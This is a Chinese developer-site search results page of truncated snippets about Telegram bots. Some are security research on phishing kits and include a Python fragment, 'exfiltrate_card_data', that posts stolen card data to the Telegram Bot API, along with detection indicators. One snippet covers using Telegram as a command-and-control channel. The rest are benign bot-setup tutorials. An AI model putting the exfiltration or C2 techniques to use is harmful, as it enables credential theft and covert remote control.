文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

Telegram机器人在欧洲凭证钓鱼中的协同机制与防御路径

关键特征包括：使用官方CDN资源（如logo、字体）增强可信度；表单提交地址指向攻击者控制的中间脚本（如/api/collect.php）；部分页面嵌入JavaScript，用于收集浏览器指纹或阻止右键查看源码...Bot后端通常为Python脚本，使用python-telegram-bot库：from telegram import Updatefrom telegram.ext import Application...可通过以下方式提取IOC：监控外联请求中包含api.telegram.org/bot的HTTP流量；提取Bot Token模式（格式：数字:字母数字串）；关联短链（如bit.ly、cutt.ly）解析后的...第二，Bot Token的动态轮换。攻击者可每日更换Bot，使静态规则失效。需结合流量行为（如高频POST至Telegram API）而非仅依赖Token字符串。第三，用户跨平台信任惯性。...6 结论Telegram机器人在欧洲凭证钓鱼中的应用，标志着攻击模式从“静态投递”向“动态交互”的演进。其通过Bot API实现数据实时回传与操作指令下发，显著缩短攻击窗口并提升成功率。

16610
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

    （常模仿MetaMask、Coinbase或企业SSO界面）；在用户输入凭据过程中，前端JavaScript脚本实时捕获表单数据并通过Telegram Bot API发送至攻击者控制的私有频道；部分高级变种甚至直接在...此类攻击的核心挑战在于其“合法性掩护”：所有通信均经由telegram.org域名完成，符合SPF/DKIM/DMARC标准；Bot API调用使用HTTPS加密；消息支持自毁与私聊加密，极大增加取证难度...更重要的是，传统安全设备难以区分正常用户使用Telegram与恶意Bot数据回传之间的流量差异。...*；进程内存中存在敏感关键词（如“password”, “otp”, “cookie”）与Telegram API调用共现。...防御的关键在于“上下文感知”：同一api.telegram.org请求，在普通用户聊天中属正常，在财务人员终端上伴随密码字段输入则高度可疑。因此，安全架构必须融合身份、设备、行为与内容四维上下文。

    22510

    使用n8n搭建服务器监控系统：从Webhook到Telegram告警的完整实现

    前言传统的服务器监控方案通常需要部署专门服务武器监控系统（如Prometheus、Zabbix），配置复杂且资源消耗较大。...rand -hex 32命令生成强随机字符串Telegram Chat ID：与Bot对话后访问 https://api.telegram.org/botBOT_TOKEN>/getUpdates...: Send MessageChat ID: {{$json.chatId}}（从配置中读取）Text: {{$json.message}}（格式化的监控消息）Parse Mode: Markdown...(Legacy)使用Markdown格式可以让消息展示更清晰，支持加粗、标题等格式化效果。...告警效果展示具体操作如下：Telegram Bot成功收到告警消息，显示内容包括：服务器名称和监控时间系统资源使用情况（CPU、内存、磁盘、负载、运行时间）网络流量数据（入站/出站）告警状态和具体告警项消息格式清晰

    1.9K100

    如何在 Django 中同时使用普通视图和 API 视图

    在本教程中，我们将学习如何在 Django 项目中有效地管理和使用普通视图和 API 视图。我们将从基础概念开始，逐步深入，涵盖必要的配置、代码示例以及最佳实践。1....配置 API 视图API 视图用于处理 RESTful API 请求和响应。我们将使用 Django REST Framework 来简化 API 视图的创建和管理。...中包含 API 视图的 URL 配置。...访问 API 视图：http://127.0.0.1:8000/api/data/。确保静态文件加载正常，例如在模板中使用 {% static %} 标签引用静态文件。8....总结通过本教程，你学习了如何在 Django 项目中同时使用普通视图和 API 视图。我们涵盖了从设置项目、编写视图、配置 URL 路由到测试应用的整个流程。

    3K00

    Telegram Bot – 在线获取群聊GroupChat ID 教程

    假设机器人名称是my_bot。 1-将机器人添加到组中。 转到组，单击组名称，单击添加成员，在搜索框中搜索您的机器人，如下所示：@my_bot，选择您的机器人并单击添加。 2-向机器人发送虚拟消息。...您可以使用此示例：/my_id @my_bot 我尝试了一些消息，但并非所有消息都有效。上面的示例工作正常。...也许消息应该以 / 开头） 3- 转到以下网址： https://api.telegram.org/botXXX:YYYY/getUpdates 将 XXX:YYYY 替换为您的机器人令牌，如： https...://api.telegram.org/bot123456789:jbd78sadvbdy63d37gda37bd8/getUpdates 4- 查找 "chat":{"id":-zzzzzzzzzz，...5-测试：您可以测试使用 curl 向群组发送消息： curl -X POST "https://api.telegram.org/botXXX:YYYY/sendMessage" -d "chat_id

    36.2K30

    部署你的RSS机器人

    telegram bot api url)(可忽略) allowed_users(允许使用 bot 的用户 telegram id)(可忽略(为空时所有用户都能使用 bot)) 申请 Telegram...申请 Telegraph Token | Telegram 应用内预览需要 Telegraph Api，所以我们还需要申请个 Telegraph Token 在终端中执行下面命令，会返回一段 json...author_url 请替换成自己的 查看 Telegram ID | 默认的配置是允许所有用户使用我们刚刚创建的 Telegram RSS Bot，但为了安全、防止被滥用我们可以设置指定 ID 的...Telegram 用户能够使用该 Bot，获取允许使用用户（比如自己）的 Telegram ID 并填入配置文件的 allowed_users 字段 获取 Telegram ID：https://t.me...start=botostore 使用 将 Bot 添加到您的频道中，并设置为管理员，Bot 的管理命令如下： /sub @ChannelID [url] 订阅 /unsub @ChannelID [url

    1.3K20

    命令控制之Telegram

    文章前言 使用涉交网络作为C2 Server有两个好处，一方面是因为社交网络的服务器稳定，另一个方面是因为在于其通信的数据可以隐藏在正常的流量中，不容易被发现，本节主要是"站在巨人的肩膀"上来介绍通过Telegram...Cracking Telegram Encryption，而且Telegram支持发送所有文件类型，Telegram提供对外开放的api，用户可定制性的开发客户端。...之后成功创建Token： 12724xxxx059:AAEINExxxxxxxxxxxxxxxxxxx_hIl8A Bot API 示例 安装依赖 目前Telegram官网已经公开了如下语言的开发实例:...以上介绍了Bot API中发送、接收文本消息和上传、下载文件的功能，剩下只需要将功能拼接，添加命令解析，就可以实现一个简易的C2 Server POC bt2框架 项目介绍 Bt2是一个使用python...编写开发的C2框架，它使用了telegram提供的基础设施和功能丰富的bot api，稍微改变了其通信平台的用途，使其可以充当c&c。

    4K20

    telegram-1：向tg的机器人群推送消息

    Telegram Bot的创建简单，API全面且免费，适合国际业务。 业务需求：最近需要将自动客户端的自动打包结果的二维码和下载地址推送到tg机器人群，需要了解。...这是一个测试用的bot： token：5049056695:AAFfyxCap2I0SZazC0DJ7WPw5oBz9oZcl7A username：@test1aJHcqb3iU_bot 可以在浏览器中使用...浏览器访问下述url获取这个群组的chat_id： https://api.telegram.org/bot5049056695:AAFfyxCap2I0SZazC0DJ7WPw5oBz9oZcl7A/...getUpdates 在返回值中找到这个群组的chat_id，机器人会向这个chat_id发送消息： -750599670 (3).python向bot推送消息的demo 1.相关准备 去官网查看下api...: https://core.telegram.org/bots/api 需要用到 python-telegram-bot 库。

    11.8K30

    一个基于Go的Telegram RSS Bot机器人，支持应用内阅读预览

    说明：很久前博主介绍过一个Telegram RSS机器人→传送门，用起来还不错，就是安装对新手不太友好，这里就再介绍一个基于Go的Telegram RSS Bot，安装很快，也支持直接在Telegram...应用内预览订阅文章，很方便，也是博主用过最好用的一个Telegram RSS机器人，这里就说下使用方法。...2、申请Telegraph Token curl https://api.telegra.ph/createAccount?...100 #自定义telegram bot api url，选填 telegram: endpoint: https://xxx.com/ #使用Mysql数据库，不填则默认使用SQLite mysql...例如要给t.me/moerats频道订阅RSS更新： 1、将Bot添加到moerats频道管理员列表中 2、给Bot发送/sub @moerats https://www.moerats.com/feed

    2.1K00

    Telegram小程序钓鱼攻击机制与防御策略研究

    Mini App的启动流程如下：用户点击消息中的“Launch”按钮或Bot菜单项；Telegram客户端加载开发者预设的HTTPS URL；页面通过window.Telegram.WebApp对象与宿主环境通信...从安全角度看，Telegram Mini Apps的设计遵循以下原则：沙箱隔离：Mini App运行于受限的WebView中，无法直接调用系统API；数据最小化：仅在用户明确授权后，才通过initData...最后，Telegram未对Mini App的域名进行白名单管理，攻击者可使用一次性域名（如cloudflare-temp[.]xyz）快速部署钓鱼页面，规避事后封禁。...关键伪造点包括：使用与官方Bot相似的用户名（如@portal_market vs @portals）；在Mini App信息页中填写虚假的“官方频道”链接；模拟Telegram原生加载动画，增强可信度...示例：Kaspersky for Android可通过Notification Listener API监控Telegram通知中的链接，并在用户点击前弹出风险提示。

    13310

    钓鱼攻击中窃取数据的流转路径与防御机制研究

    因此，2020年后，此类方式使用率显著下降。2.2 Telegram Bot 成为主流回传通道当前绝大多数钓鱼页面嵌入Telegram Bot API实现即时数据推送。...攻击者首先在Telegram上创建Bot并获取token，随后在钓鱼脚本中调用Telegram的sendMessage接口。...分类依据包括域名后缀（如@company.com）、字段结构（是否含CVV、卡号）、以及是否触发自动验证模块（如成功登录测试API）。...例如，某人在2020年Dropbox泄露中使用的密码为“P@ssw0rd123”，而在2025年钓鱼中再次使用相同密码登录企业邮箱，则攻击者可推断其密码复用习惯，并尝试用该密码登录其LinkedIn、GitHub...交易通常在Telegram群组、俄语论坛（如Exploit.in）或专用暗网市场（如BreachForums）进行。买家可要求“试登”（即卖家现场演示登录成功），以验证有效性。

    12610

    基于“Smishing Triad”事件的短信钓鱼攻击机制与防御体系研究

    关键词：短信钓鱼；Smishing Triad；Lighthouse；钓鱼即服务；移动支付；Telegram Bot；品牌仿冒；SSL证书滥用1 引言随着移动支付在全球范围内的普及，攻击者正将焦点从传统网络钓鱼...3.2 基础设施部署特征托管集中化：约80%钓鱼站点托管于两家中国云服务商——腾讯云（AS132203）与阿里云（AS45102）；域名注册策略：大量使用隐私保护、批量注册、相似拼写（如usps-delivery...[.]com）；C2通信隐蔽化：数据通过HTTPS POST至中间脚本，再由Python脚本推送至Telegram Bot。...os.getenv('TG_CHAT_ID')def exfiltrate_card_data(card_info):url = f"https://api.telegram.org/bot{BOT_TOKEN...然而：攻击者使用合法短链服务（如Bit.ly）隐藏真实URL；发件人ID可伪造为“USPS”等可信名称；内容经轻微改写即可绕过关键词匹配。

    17910
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券